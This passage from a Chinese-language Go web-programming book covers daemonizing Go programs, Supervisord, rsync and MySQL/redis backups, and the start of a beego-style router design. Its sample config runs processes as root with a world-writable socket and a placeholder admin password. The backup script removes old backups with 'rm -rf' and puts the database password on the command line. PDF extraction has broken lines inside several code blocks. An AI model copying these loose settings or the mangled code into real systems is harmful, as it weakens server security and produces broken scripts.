目前 Go 程式還不能實現 `daemon`，詳細的見這個 Go 語言的 bug：<http://code.google.com/p/go/issues/detail?id=227>，大概的意思說很難從現有的使用的執行緒中 `fork` 一個出來，因為沒有一種簡單的方法來確保所有已經使用的執行緒的狀態一致性問題。

但是我們可以看到很多網上的一些實現 `daemon` 的方法，例如下面兩種方式：

- `MarGo` 的一個實現思路，使用 `Command` 來執行自身的應用，如果真想實現，那麼推薦這種方案

```

d := flag.Bool("d", false, "Whether or not to launch in the back
ground(like a daemon)")
if *d {
    cmd := exec.Command(os.Args[0],
        "-close-fds",
        "-addr", *addr,
        "-call", *call,
    )
    serr, err := cmd.StderrPipe()
    if err != nil {
        log.Fatalln(err)
    }
    err = cmd.Start()
    if err != nil {
        log.Fatalln(err)
    }
    s, err := ioutil.ReadAll(serr)
    s = bytes.TrimSpace(s)
    if bytes.HasPrefix(s, []byte("addr: ")) {
        fmt.Println(string(s))
        cmd.Process.Release()
    } else {
        log.Printf("unexpected response from MarGo: `%s` error:
`%v`\n", s, err)
        cmd.Process.Kill()
    }
}

```

- 另一種是利用 `syscall` 的方案，但是這個方案並不完善： ``Go

```
package main
```

```
import ( "log" "os" "syscall" )
```

```
func daemon(nochdir, noclose int) int { var ret, ret2 uintptr var err uintptr
```

```
    darwin := syscall.OS == "darwin"
```

```
    // already a daemon
```

```
if syscall.Getppid() == 1 {
    return 0
}

// fork off the parent process
ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
if err != 0 {
    return -1
}

// failure
if ret2 < 0 {
    os.Exit(-1)
}

// handle exception for darwin
if darwin && ret2 == 1 {
    ret = 0
}

// if we got a good PID, then we call exit the parent process.
if ret > 0 {
    os.Exit(0)
}

/* Change the file mode mask */
_ = syscall.Umask(0)

// create a new SID for the child process
s_ret, s_errno := syscall.Setsid()
if s_errno != 0 {
    log.Printf("Error: syscall.Setsid errno: %d", s_errno)
}
if s_ret < 0 {
    return -1
}

if nochdir == 0 {
    os.Chdir("/")
}
```

```

if noclose == 0 {
    f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
    if e == nil {
        fd := f.Fd()
        syscall.Dup2(fd, os.Stdin.Fd())
        syscall.Dup2(fd, os.Stdout.Fd())
        syscall.Dup2(fd, os.Stderr.Fd())
    }
}

return 0
}

```

上面提出了兩種實現 Go 的 daemon 方案，但是我還是不推薦大家這樣去實現，因為官方還沒有正式的宣佈支援 daemon，當然第一種方案目前來看是比較可行的，而且目前開源函式庫 skynet 也在採用這個方案做 daemon。

### ## Supervisord

上面已經介紹了 Go 目前是有兩種方案來實現他的 daemon，但是官方本身還不支援這一塊，所以還是建議大家採用第三方成熟工具來管理我們的應用程式，這裡我給大家介紹一款目前使用比較廣泛的程序管理軟體：Supervisord。Supervisord 是用 Python 實現的一款非常實用的程序管理工具。supervisord 會幫你把管理的應用程式轉成 daemon 程式，而且可以方便的透過命令開啓、關閉、重啓等操作，而且它管理的程序一旦崩潰會自動重啓，這樣就可以保證程式執行中斷後的情況下有自我修復的功能。

>我前面在應用中踩過一個坑，就是因為所有的應用程式都是由 Supervisord 父程序生出來的，那麼當你修改了作業系統的檔案描述符之後，別忘記重啓 Supervisord，光重啓下面的應用程式沒用。當初我就是系統安裝好之後就先裝了 Supervisord，然後開始部署程式，修改檔案描述符，重啓程式，以為檔案描述符已經是 100000 了，其實 Supervisord 這個時候還是預設的 1024 個，導致他管理的程序所有的描述符也是 1024。開放之後壓力一上來系統就開始報檔案描述符用光了，查了很久才找到這個坑。

### ### Supervisord 安裝

Supervisord 可以透過`sudo easy\_install supervisor`安裝，當然也可以透

過 Supervisor 官網下載後解壓並轉到原始碼所在的資料夾下執行`setup.py install`來安裝。

- 使用 easy\_install 必須安裝 setuptools

開啓`http://pypi.python.org/pypi/setuptools#files`，根據你系統的 python 的版本下載相應的檔案，然後執行`sh setuptoolsxxx.egg`，這樣就可以使用 easy\_install 命令來安裝 Supervisor。

### Supervisor 配置

Supervisor 預設的配置檔案路徑為/etc/supervisord.conf，透過文字編輯器修改這個檔案，下面是一個範例的配置檔案：

```
```conf
```

```
;/etc/supervisord.conf
```

```
[unix_http_server]
```

```
file = /var/run/supervisord.sock
```

```
chmod = 0777
```

```
chown= root:root
```

```
[inet_http_server]
```

```
# Web 管理介面設定
```

```
port=9001
```

```
username = admin
```

```
password = yourpassword
```

```
[supervisorctl]
```

```
; 必須和'unix_http_server'裡面的設定匹配
```

```
serverurl = unix:///var/run/supervisord.sock
```

```
[supervisord]
```

```
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
```

```
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB)
```

```
logfile_backups=10 ; (num of main logfile rotation backups;default 10)
```

```
loglevel=info ; (log level;default info; others: debug, warn, error, fatal)
```



```

ebug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default
supervisord.pid)
nodaemon=true                ; (start in foreground if true;default
false)
minfds=1024                  ; (min. avail startup file descripto
rs;default 1024)
minprocs=200                 ; (min. avail process descriptors;de
fault 200)
user=root                    ; (default is current user, required i
f root)
childlogdir=/var/log/supervisord/ ; ('AUTO' child log
dir, default $TEMP)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_m
ain_rpcinterface

; 管理的單個程序的配置，可以新增多個 program

[program:blogdemon]
command=/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile = /var/log/supervisord/blogdemon.log

```

## Supervisord 管理

Supervisord 安裝完成後有兩個可用的命令列 `supervisor` 和 `supervisorctl`，命令使用解釋如下：

- `supervisord`，初始啟動 Supervisord，啟動、管理配置中設定的程序。
- `supervisorctl stop programxxx`，停止某一個程序(programxxx)，programxxx 為 [program:blogdemon] 裡配置的值，這個範例就是 blogdemon。
- `supervisorctl start programxxx`，啟動某個程序
- `supervisorctl restart programxxx`，重啟某個程序
- `supervisorctl stop all`，停止全部程序，注：start、restart、stop 都不會載入最

新的配置檔案。

- `supervisorctl reload`，載入最新的配置檔案，並按新的配置啟動、管理所有程序。

## 小結

這小節我們介紹了 Go 如何實現 daemon 化，但是由於目前 Go 的 daemon 實現的不足，需要依靠第三方工具來實現應用程式的 daemon 管理的方式，所以在這裡介紹了一個用 python 寫的程序管理工具 Supervisord，透過 Supervisord 可以很方便的把我們的 Go 應用程式管理起來。

## links

- [目錄](#)
- [上一章: 網站錯誤處理](#)
- [下一節: 備份和恢復](#)

## 12.4 備份和恢復

這小節我們要討論應用程式管理的另一個方面：生產伺服器上資料的備份和恢復。我們經常會遇到生產伺服器的網路斷了、硬碟壞了、作業系統崩潰、或者資料庫不可用了等各種異常情況，所以維護人員需要對生產伺服器上的應用和資料做好異地災備，冷備熱備的準備。在接下來的介紹中，講解了如何備份應用、如何備份/恢復 Mysql 資料庫和 redis 資料庫。

### 應用備份

在大多數叢集環境下，Web 應用程式基本不需要備份，因為這個其實就是一個程式碼副本，我們在本地開發環境中，或者版本控制系統中已經保持這些程式碼。但是很多時候，一些開發的站點需要使用者來上傳檔案，那麼我們需要對這些使用者上傳的檔案進行備份。目前其實有一種合適的做法就是把和網站相關的需要儲存的檔案儲存到雲儲存，這樣即使系統崩潰，只要我們的檔案還在雲端儲存上，至少資料不會丟失。

如果我們沒有採用雲儲存的情況下，如何做到網站的備份呢？這裡我們介紹一個檔案同步工具 rsync：rsync 能夠實現網站的備份，不同系統的檔案的同步，如果是 windows 的話，需要 windows 版本 cwrsync。

### rsync 安裝

rsync 的官方網站：<http://rsync.samba.org/> 可以從上面取得最新版本的原始碼。當然，因為 rsync 是一款非常有用的軟體，所以很多 Linux 的發行版本都將它收錄在內了。

軟體套件安裝

```
# sudo apt-get install rsync  注：在 debian、ubuntu 等線上安裝方法；
# yum install rsync          注：Fedora、Redhat、CentOS 等線上安裝方法；
# rpm -ivh rsync             注：Fedora、Redhat、CentOS 等 rpm 套件安裝方法；
```

其它 Linux 發行版，請用相應的軟體套件管理方法來安裝。原始碼套件安裝

```
tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure --prefix=/usr ;make ;make install    注：在用原始碼套件
編譯安裝之前，您得安裝 gcc 等編譯工具才行；
```

## rsync 配置

rsync 主要有以下三個配置檔案 `rsyncd.conf`(主配置檔案)、`rsyncd.secrets`(密碼檔案)、`rsyncd.motd`(rsync 伺服器資訊)。

關於這幾個檔案的配置大家可以參考官方網站或者其他介紹 rsync 的網站，下面介紹伺服器端和客戶端如何開啓

- 伺服器端開啓：

```
#/usr/bin/rsync --daemon --config=/etc/rsyncd.conf
```

`--daemon` 引數方式，是讓 rsync 以伺服器模式執行。把 rsync 加入開機啓動

```
echo 'rsync --daemon' >> /etc/rc.d/rc.local
```

設定 rsync 密碼

```
echo '你的使用者名稱：你的密碼' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
```

- 客戶端同步：

客戶端可以透過如下命令同步伺服器上的檔案：

```
rsync -avzP --delete --password-file=rsyncd.secrets  使
用者名稱@192.168.145.5::www /var/rsync/backup
```

這條命令，簡要的說明一下幾個要點：

1. `-avzP` 是啥，讀者可以使用 `--help` 檢視
2. `--delete` 是爲了比如 A 上刪除了一個檔案，同步的時候，B 會自動刪除對應的檔案
3. `--password-file` 客戶端中 `/etc/rsyncd.secrets` 設定的密碼，要和伺服器端的 `/etc/rsyncd.secrets` 中的密碼一樣，這樣 `cron` 執行的時候，就不需要密碼了
4. 這條命令中的"使用者名稱"爲伺服器端的 `/etc/rsyncd.secrets` 中的使用者名稱
5. 這條命令中的 `192.168.145.5` 爲伺服器端的 IP 地址
6. `::www`，注意是 2 個 `:` 號，`www` 爲伺服器端的配置檔案 `/etc/rsyncd.conf` 中的 `[www]`，意思是根據伺服器端上的 `/etc/rsyncd.conf` 來同步其中的 `[www]` 段內容，一個 `:` 號的時候，用於不根據配置檔案，直接同步指定目錄。

爲了讓同步即時性，可以設定 `crontab`，保持 `rsync` 每分鐘同步，當然使用者也可以根據檔案的重要程度設定不同的同步頻率。

## MySQL 備份

應用資料庫目前還是 MySQL 爲主流，目前 MySQL 的備份有兩種方式：熱備份和冷備份，熱備份目前主要是採用 `master/slave` 方式（`master/slave` 方式的同步目前主要用於資料庫讀寫分離，也可以用於熱備份資料），關於如何配置這方面的資料，大家可以找到很多。冷備份的話就是資料有一定的延遲，但是可以保證該時間段之前的資料完整，例如有些時候可能我們的誤操作引起了資料的丟失，那麼 `master/slave` 模式是無法找回丟失資料的，但是透過冷備份可以部分恢復資料。

冷備份一般使用 `shell` 指令碼來實現定時備份資料庫，然後透過上面介紹 `rsync` 同步非本地機房的一臺伺服器。

下面這個是定時備份 `mysql` 的備份指令碼，我們使用了 `mysqldump` 程式，這個命令可以把資料庫匯出到一個檔案中。

```
#!/bin/bash

# 以下配置資訊請自己修改
mysql_user="USER" #MySQL 備份使用者
mysql_password="PASSWORD" #MySQL 備份使用者的密碼
```

```
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" #MySQL 編碼
backup_db_arr=("db1" "db2") #要備份的資料庫名稱，多個用空格分開隔開 如(
"db1" "db2" "db3")
backup_location=/var/www/mysql #備份資料存放位置，末尾請不要帶"/"，此
項可以保持預設，程式會自動建立資料夾
expire_backup_delete="ON" #是否開啓過期備份刪除 ON 爲開啓 OFF 爲關閉
expire_days=3 #過期時間天數 預設爲三天，此項只有在 expire_backup_delet
e 開啓時有效

# 本行開始以下不需要修改
backup_time=`date +%Y%m%d%H%M` #定義備份詳細時間
backup_Ymd=`date +%Y-%m-%d` #定義備份目錄中的年月日時間
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3 天之前的日期
backup_dir=$backup_location/$backup_Ymd #備份資料夾全路徑
welcome_msg="Welcome to use MySQL backup tools!" #歡迎語

# 判斷 MYSQL 是否啓動,mysql 沒有啓動則備份退出
mysql_ps=`ps -ef |grep mysql |wc -l`
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
    echo "ERROR:MySQL is not running! backup stop!"
    exit
else
    echo $welcome_msg
fi

# 連線到 mysql 資料庫，無法連線則備份退出
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_passwor
d <<end
use mysql;
select host,user from user where user='root' and host='localhost
';
exit
end

flag=`echo $?`
if [ $flag != "0" ]; then
    echo "ERROR:Can't connect mysql server! backup stop!"
```

```

        exit
    else
        echo "MySQL connect ok! Please wait....."
        # 判斷有沒有定義備份的資料庫，如果定義則開始備份，否則退出備份
        if [ "$backup_db_arr" != "" ];then
            #dbnames=$(cut -d ',' -f1-5 $backup_database)
            #echo "arr is (${backup_db_arr[@]})"
            for dbname in ${backup_db_arr[@]}
            do
                echo "database $dbname backup start..."
                `mkdir -p $backup_dir`
                `mysqldump -h$mysql_host -P$mysql_port -
u$mysql_user -p$mysql_password $dbname --default-character-set=$
mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
                flag=`echo $?`
                if [ $flag == "0" ];then
                    echo "database $dbname success b
ackup to $backup_dir/$dbname-$backup_time.sql.gz"
                else
                    echo "database $dbname backup fa
il!"
                fi
            done
        else
            echo "ERROR:No database to backup! backup stop"
            exit
        fi
        # 如果開啓了刪除過期備份，則進行刪除操作
        if [ "$expire_backup_delete" == "ON" -a "$backup_locati
on" != "" ];then
            #`find $backup_location/ -type d -o -type f -ct
ime +$expire_days -exec rm -rf {} \;`
            `find $backup_location/ -type d -mtime +$expire
_days | xargs rm -rf`
            echo "Expired backup data delete complete!"
        fi
        echo "All database backup success! Thank you!"
        exit
    fi
fi

```

修改 shell 指令碼的屬性：

```
chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh
```

設定好屬性之後，把命令加入 `crontab`，我們設定了每天 00:00 定時自動備份，然後把備份的指令碼目錄 `/var/www/mysql` 設定為 `rsync` 同步目錄。

```
00 00 * * * /root/mysql_backup.sh
```

## MySQL 恢復

前面介紹 MySQL 備份分為熱備份和冷備份，熱備份主要的目的是為了能夠即時的恢復，例如應用伺服器出現了硬碟故障，那麼我們可以透過修改配置檔案把資料庫的讀取和寫入改成 `slave`，這樣就可以儘量少時間的中斷服務。

但是有時候我們需要透過冷備份的 SQL 來進行資料恢復，既然有了資料庫的備份，就可以透過命令匯入：

```
mysql -u username -p databse < backup.sql
```

可以看到，匯出和匯入資料庫資料都是相當簡單，不過如果還需要管理許可權，或者其他的一些字符集的設定的話，可能會稍微複雜一些，但是這些都是可以透過一些命令來完成的。

## redis 備份

redis 是目前我們使用最多的 NoSQL，它的備份也分為兩種：熱備份和冷備份，redis 也支援 `master/slave` 模式，所以我們的熱備份可以透過這種方式實現，相應的配置大家可以參考官方的文件配置，相當的簡單。我們這裡介紹冷備份的方式：redis 其實會定時的把記憶體裡面的快取資料儲存到資料庫檔案裡面，我們備份只要備份相應的檔案就可以，就是利用前面介紹的 `rsync` 備份到非本地機房就可以實現。



## redis 恢復

redis 的恢復分爲熱備份恢復和冷備份恢復，熱備份恢復的目的和方法同 MySQL 的恢復一樣，只要修改應用的相應的資料庫連線即可。

但是有時候我們需要根據冷備份來恢復資料，redis 的冷備份恢復其實就是隻要把儲存的資料庫檔案 copy 到 redis 的工作目錄，然後啓動 redis 就可以了，redis 在啓動的時候會自動載入資料庫檔案到記憶體中，啓動的速度根據資料庫的檔案大小來決定。

## 小結

本小節介紹了我們的應用部分的備份和恢復，即如何做好災備，包括檔案的備份、資料庫的備份。同時也介紹了使用 rsync 同步不同系統的檔案，MySQL 資料庫和 redis 資料庫的備份和恢復，希望透過本小節的介紹，能夠給作爲開發的你對於線上產品的災備方案提供一個參考方案。

## links

- [目錄](#)
- [上一章: 應用部署](#)
- [下一節: 小結](#)

## 12.5 小結

本章討論瞭如何部署和維護我們開發的 Web 應用相關的一些話題。這些內容非常重要，要建立一個能夠基於最小維護平滑執行的應用，必須考慮這些問題。

具體而言，本章討論的內容包括：

- 建立一個強健的日誌系統，可以在出現問題時記錄錯誤並且通知系統管理員
- 處理執行時可能出現的錯誤，包括記錄日誌，並如何友好的顯示給使用者系統出現了問題
- 處理 404 錯誤，告訴使用者請求的頁面找不到
- 將應用部署到一個生產環境中(包括如何部署更新)
- 如何讓部署的應用程式具有高可用
- 備份和恢復檔案以及資料庫

讀完本章內容後，對於從頭開始開發一個 Web 應用需要考慮那些問題，你應該已經有了全面的瞭解。本章內容將有助於你在實際環境中管理前面各章介紹開發的程式碼。

## links

- [目錄](#)
- 上一章: [備份和恢復](#)
- 下一節: [如何設計一個 Web 框架](#)

## 13 如何設計一個 Web 框架

前面十二章介紹瞭如何透過 Go 來開發 Web 應用，介紹了很多基礎知識、開發工具和開發技巧，那麼我們這一章透過這些知識來實現一個簡易的 Web 框架。透過 Go 語言來實現一個完整的框架設計，這框架中主要內容有第一小節介紹的 Web 框架的結構規劃，例如採用 MVC 模式來進行開發，程式的執行流程設計等內容；第二小節介紹框架的第一個功能：路由，如何讓訪問的 URL 對映到相應的處理邏輯；第三小節介紹處理邏輯，如何設計一個公共的 controller，物件繼承之後處理函式中如何處理 response 和 request；第四小節介紹框架的一些輔助功能，例如日誌處理、配置資訊等；第五小節介紹如何基於 Web 框架實現一個部落格，包括博文的發表、修改、刪除、顯示列表等操作。

透過這麼一個完整的專案例子，我期望能夠讓讀者瞭解如何開發 Web 應用，如何建立自己的目錄結構，如何實現路由，如何實現 MVC 模式等各方面的開發內容。在框架盛行的今天，MVC 也不再是神話。經常聽到很多程式設計師討論哪個框架好，哪個框架不好，其實框架只是工具，沒有好與不好，只有適合與不適合，適合自己的就是最好的，所以教會大家自己動手寫框架，那麼不同的需求都可以用自己的思路去實現。

### 目錄



### links

- [目錄](#)
- [上一章: 第十二章總結](#)
- [下一節: 專案規劃](#)

## 13.1 專案規劃

做任何事情都需要做好規劃，那麼我們在開發部落格系統之前，同樣需要做好專案的規劃，如何設定目錄結構，如何理解整個專案的流程圖，當我們理解了應用的執行過程，那麼接下來的設計編碼就會變得相對容易了

### gopath 以及專案設定

假設指定 `gopath` 是檔案系統的普通目錄名，當然我們可以隨便設定一個目錄名，然後將其路徑存入 `GOPATH`。前面介紹過 `GOPATH` 可以是多個目錄：在 `window` 系統設定環境變數；在 `linux/MacOS` 系統只要輸入終端命令 `export`  
`gopath=/home/astaxie/gopath`，但是必須保證 `gopath` 這個程式碼目錄下面有三個目錄 `pkg`、`bin`、`src`。新建專案的原始碼放在 `src` 目錄下面，現在暫定我們的部落格目錄叫做 `beeblog`，下面是在 `window` 下的環境變數和目錄結構的截圖：



圖 13.1 環境變數 `GOPATH` 設定



圖 13.2 工作目錄在 `$gopath/src` 下

### 應用程式流程圖

部落格系統是基於模型-檢視-控制器這一設計模式的。`MVC` 是一種將應用程式的邏輯層和表現層進行分離的結構方式。在實踐中，由於表現層從 `Go` 中分離了出來，所以它允許你的網頁中只包含很少的指令碼。

- 模型 (`Model`) 代表資料結構。通常來說，模型類別將包含取出、插入、更新資料庫資料等這些功能。
- 檢視 (`View`) 是展示給使用者的資訊的結構及樣式。一個檢視通常是一個網頁，但是在 `Go` 中，一個檢視也可以是一個頁面片段，如頁首、頁尾。它還可以是一個 `RSS` 頁面，或其它型別的“頁面”，`Go` 實現的 `template` 套件已經很好的實現了 `View` 層中的部分功能。
- 控制器 (`Controller`) 是模型、檢視以及其他任何處理 `HTTP` 請求所必須的資源

之間的中介，並產生網頁。

下圖顯示了專案設計中框架的資料流是如何貫穿整個系統：



圖 13.3 框架的資料流

1. `main.go` 作為應用入口，初始化一些執行部落格所需要的基本資源，配置資訊，監聽埠。
2. 路由功能檢查 HTTP 請求，根據 URL 以及 `method` 來確定誰(控制層)來處理請求的轉發資源。
3. 如果快取檔案存在，它將繞過通常的流程執行，被直接傳送給瀏覽器。
4. 安全檢測：應用程式控制器呼叫之前，HTTP 請求和任一使用者提交的資料將被過濾。
5. 控制器裝載模型、核心函式庫、輔助函式，以及任何處理特定請求所需的其它資源，控制器主要負責處理業務邏輯。
6. 輸出檢視層中渲染好的即將傳送到 Web 瀏覽器中的內容。如果開啓快取，檢視首先被快取，將用於以後的常規請求。

## 目錄結構

根據上面的應用程式流程設計，部落格的目錄結構設計如下：

— <code>main.go</code>	入口檔案
— <code>conf</code>	配置檔案和處理模組
— <code>controllers</code>	控制器入口
— <code>models</code>	資料庫處理模組
— <code>utils</code>	輔助函式函式庫
— <code>static</code>	靜態檔案目錄
— <code>views</code>	檢視函式庫

## 框架設計

為了實現部落格的快速建立，打算基於上面的流程設計開發一個最小化的框架，框架包括路由功能、支援 REST 的控制器、自動化的範本渲染，日誌系統、配置管理等。

## 總結

本小節介紹了部落格系統從設定 GOPATH 到目錄建立這樣的基礎資訊，也簡單介紹了框架結構採用的 MVC 模式，部落格系統中資料流的執行流程，最後透過這些流程設計了部落格系統的目錄結構，至此，我們基本完成一個框架的建立，接下來的幾個小節我們將會逐個實現。

## links

- [目錄](#)
- 上一章: [建構部落格系統](#)
- 下一節: [自訂路由器設計](#)

## 13.2 自訂路由器設計

### HTTP 路由

HTTP 路由元件負責將 HTTP 請求交到對應的函式處理(或者是一個 struct 的方法)，如前面小節所描述的結構圖，路由在框架中相當於一個事件處理器，而這個事件包括：

- 使用者請求的路徑(path)(例如:/user/123,/article/123)，當然還有查詢串資訊(例如?id=11)
- HTTP 的請求方法(method)(GET、POST、PUT、DELETE、PATCH 等)

路由器就是根據使用者請求的事件資訊轉發到相應的處理函式(控制層)。

### 預設的路由實現

在 3.4 小節有過介紹 Go 的 http 套件的詳解，裡面介紹了 Go 的 http 套件如何設計和實現路由，這裡繼續以一個例子來說明：

```
func fooHandler(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}

http.HandleFunc("/foo", fooHandler)

http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})

log.Fatal(http.ListenAndServe(":8080", nil))
```

上面的例子呼叫了 `http` 預設的 `DefaultServeMux` 來新增路由，需要提供兩個引數，第一個引數是希望使用者訪問此資源的 URL 路徑(儲存在 `r.URL.Path`)，第二引數是即將要執行的函式，以提供使用者訪問的資源。路由的思路主要集中在兩點：

- 新增路由資訊
- 根據使用者請求轉發到要執行的函式

Go 預設的路由新增是透過函式 `http.Handle` 和 `http.HandleFunc` 等來新增，底層都是呼叫了 `DefaultServeMux.Handle(pattern string, handler Handler)`，這個函式會把路由資訊儲存在一個 `map` 資訊中 `map[string]muxEntry`，這就解決了上面說的第一點。

Go 監聽埠，然後接收到 `tcp` 連線會扔給 `Handler` 來處理，上面的例子預設 `nil` 即為 `http.DefaultServeMux`，透過 `DefaultServeMux.ServeHTTP` 函式來進行排程，遍歷之前儲存的 `map` 路由資訊，和使用者訪問的 URL 進行匹配，以查詢對應註冊的處理函式，這樣就實現了上面所說的第二點。

```
for k, v := range mux.m {
    if !pathMatch(k, path) {
        continue
    }
    if h == nil || len(k) > n {
        n = len(k)
        h = v.h
    }
}
```

## beego 框架路由實現

目前幾乎所有的 Web 應用路由實現都是基於 `http` 預設的路由器，但是 Go 自帶的路由器有幾個限制：

- 不支援引數設定，例如 `/user/:uid` 這種泛型別匹配
- 無法很好的支援 REST 模式，無法限制訪問的方法，例如上面的例子中，使用者訪問 `/foo`，可以用 `GET`、`POST`、`DELETE`、`HEAD` 等方式訪問
- 一般網站的路由規則太多了，編寫繁瑣。我前面自己開發了一個 API 應用，路由規則有三十幾條，這種路由多了之後其實可以進一步簡化，透過 `struct` 的方



法進行一種簡化

beego 框架的路由器基於上面的幾點限制考慮設計了一種 REST 方式的路由實現，路由設計也是基於上面 Go 預設設計的兩點來考慮：儲存路由和轉發路由

## 儲存路由

針對前面所說的限制點，我們首先要解決引數支援就需要用到正則，第二和第三點我們透過一種變通的方法來解決，REST 的方法對應到 struct 的方法中去，然後路由到 struct 而不是函式，這樣在轉發路由的時候就可以根據 method 來執行不同的方法。

根據上面的思路，我們設計了兩個資料型別 controllerInfo(儲存路徑和對應的 struct，這裡是一個 reflect.Type 型別)和 ControllerRegistor(routers 是一個 slice 用來儲存使用者新增的路由資訊，以及 beego 框架的應用資訊)

```
type controllerInfo struct {
    regex          *regexp.Regexp
    params         map[int]string
    controllerType reflect.Type
}

type ControllerRegistor struct {
    routers      []*controllerInfo
    Application *App
}
```

ControllerRegistor 對外的介面函式有

```
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
```

詳細的實現如下所示：

```
func (p *ControllerRegistor) Add(pattern string, c ControllerInt
```

```
erface) {
    parts := strings.Split(pattern, "/")

    j := 0
    params := make(map[int]string)
    for i, part := range parts {
        if strings.HasPrefix(part, ":") {
            expr := "([^/]+)"

            //a user may choose to override the default expression

            // similar to expressjs: '/user/:id([0-9]+)'

            if index := strings.Index(part, "("); index != -1 {
                expr = part[index:]
                part = part[:index]
            }
            params[j] = part
            parts[i] = expr
            j++
        }
    }

    //recreate the url pattern, with parameters replaced
    //by regular expressions. then compile the regex

    pattern = strings.Join(parts, "/")
    regex, regexErr := regexp.Compile(pattern)
    if regexErr != nil {

        //TODO add error handling here to avoid panic
        panic(regexErr)
        return
    }

    //now create the Route
    t := reflect.Indirect(reflect.ValueOf(c)).Type()
    route := &controllerInfo{}
    route.regex = regex
    route.params = params
}
```

```
route.controllerType = t

p.routers = append(p.routers, route)

}
```

## 靜態路由實現

上面我們實現的動態路由的實現，Go 的 http 套件預設支援靜態檔案處理 `FileServer`，由於我們實現了自訂的路由器，那麼靜態檔案也需要自己設定，beego 的靜態資料夾路徑儲存在全域性變數 `StaticDir` 中，`StaticDir` 是一個 `map` 型別，實現如下：

```
func (app *App) SetStaticPath(url string, path string) *App {
    StaticDir[url] = path
    return app
}
```

應用中設定靜態路徑可以使用如下方式實現：

```
beego.SetStaticPath("/img", "/static/img")
```

## 轉發路由

轉發路由是基於 `ControllerRegistor` 裡的路由資訊來進行轉發的，詳細的實現如下程式碼所示：

```
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r
*http.Request) {
    defer func() {
        if err := recover(); err != nil {
            if !RecoverPanic {
```

```
        // go back to panic
        panic(err)
    } else {
        Critical("Handler crashed with error", err)
        for i := 1; ; i += 1 {
            _, file, line, ok := runtime.Caller(i)
            if !ok {
                break
            }
            Critical(file, line)
        }
    }
}

}()
var started bool
for prefix, staticDir := range StaticDir {
    if strings.HasPrefix(r.URL.Path, prefix) {
        file := staticDir + r.URL.Path[len(prefix):]
        http.ServeFile(w, r, file)
        started = true
        return
    }
}
requestPath := r.URL.Path

//find a matching Route
for _, route := range p.routers {

    //check if Route pattern matches url
    if !route.regex.MatchString(requestPath) {
        continue
    }

    //get submatches (params)
    matches := route.regex.FindStringSubmatch(requestPath)

    //double check that the Route matches the URL pattern.
    if len(matches[0]) != len(requestPath) {
        continue
    }
}
```

```

params := make(map[string]string)
if len(route.params) > 0 {
    //add url parameters to the query param map
    values := r.URL.Query()
    for i, match := range matches[1:] {
        values.Add(route.params[i], match)
        params[route.params[i]] = match
    }

    //reassemble query params and add to RawQuery
    r.URL.RawQuery = url.Values(values).Encode() + "&" +
r.URL.RawQuery
    //r.URL.RawQuery = url.Values(values).Encode()
}
//Invoke the request handler
vc := reflect.New(route.controllerType)
init := vc.MethodByName("Init")
in := make([]reflect.Value, 2)
ct := &Context{ResponseWriter: w, Request: r, Params: pa
rams}

in[0] = reflect.ValueOf(ct)
in[1] = reflect.ValueOf(route.controllerType.Name())
init.Call(in)
in = make([]reflect.Value, 0)
method := vc.MethodByName("Prepare")
method.Call(in)
if r.Method == "GET" {
    method = vc.MethodByName("Get")
    method.Call(in)
} else if r.Method == "POST" {
    method = vc.MethodByName("Post")
    method.Call(in)
} else if r.Method == "HEAD" {
    method = vc.MethodByName("Head")
    method.Call(in)
} else if r.Method == "DELETE" {
    method = vc.MethodByName("Delete")
    method.Call(in)
} else if r.Method == "PUT" {

```

```
        method = vc.MethodByName("Put")
        method.Call(in)
    } else if r.Method == "PATCH" {
        method = vc.MethodByName("Patch")
        method.Call(in)
    } else if r.Method == "OPTIONS" {
        method = vc.MethodByName("Options")
        method.Call(in)
    }
    if AutoRender {
        method = vc.MethodByName("Render")
        method.Call(in)
    }
    method = vc.MethodByName("Finish")
    method.Call(in)
    started = true
    break
}

//if no matches to url, throw a not found exception
if started == false {
    http.NotFound(w, r)
}
}
```

## 使用入門

基於這樣的路由設計之後就可以解決前面所說的三個限制點，使用的方式如下所示：

基本的使用註冊路由：

```
beego.BeeApp.RegisterController("/", &controllers.MainController
{})
```

引數註冊：

```
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
```

正則匹配：

```
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
```

## links

- [目錄](#)
- 上一章: [專案規劃](#)
- 下一節: [controller 設計](#)

## 13.3 controller 設計

傳統的 MVC 框架大多數是基於 Action 設計的字尾式對映，然而，現在 Web 流行 REST 風格的架構。儘管使用 Filter 或者 rewrite 能夠透過 URL 重寫實現 REST 風格的 URL，但是為什麼不直接設計一個全新的 REST 風格的 MVC 框架呢？本小節就是基於這種思路來講述如何從頭設計一個基於 REST 風格的 MVC 框架中的 controller，最大限度地簡化 Web 應用的開發，甚至編寫一行程式碼就可以實現“Hello, world”。

### controller 作用

